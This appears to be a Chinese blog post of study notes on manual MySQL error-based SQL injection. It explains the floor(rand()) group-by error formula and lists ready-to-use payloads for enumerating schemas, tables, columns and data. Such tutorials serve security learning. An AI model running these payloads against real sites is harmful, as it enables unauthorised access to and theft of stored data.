zoukankan      html  css  js  c++  java
  • mysql报错注入手工方法

    以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习。

    总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

    公式具体如下

    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

    我们在这个语句中其实已经可以看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是我们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。

    注意的是,我们一般手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每个项目。

    但是要注意这里的遍历方式需要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式

    搞清楚了语句的公式,剩下的注入过程就跟我们普通的注入很像了,只需要调整语句对应的结构即可:

    汇总如下:

    1、暴数据库:

    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

    2、暴数据表:

    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制  limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

    3、暴列名:

    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

    4、暴字段:

    and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

    总结起来,就是一套已经成型的公式,然后用普通注入的方法进行注入就好了

    参考文章:

    http://www.jianshu.com/p/8c2343705100

    https://www.waitalone.cn/mysql-error-based-injection.html

  • 相关阅读:
    ArrayList集合 、特殊集合
    二维数组 、多维数组
    一维数组
    类:String,Math,DateTime,Random
    while做法1.兔子生兔子 2.求100以内质数的和3.洗发水15元 牙膏5元 香皂2元 150元的算法
    博客迁移
    [WC2008]游览计划 「斯坦那树模板」
    [SDOI2009]HH去散步 「矩阵乘法计数」
    [HNOI2007]梦幻岛宝珠 「套路:分层 $DP$」
    多项式求逆
  • 原文地址:https://www.cnblogs.com/zlgxzswjy/p/6692729.html
Copyright © 2011-2022 走看看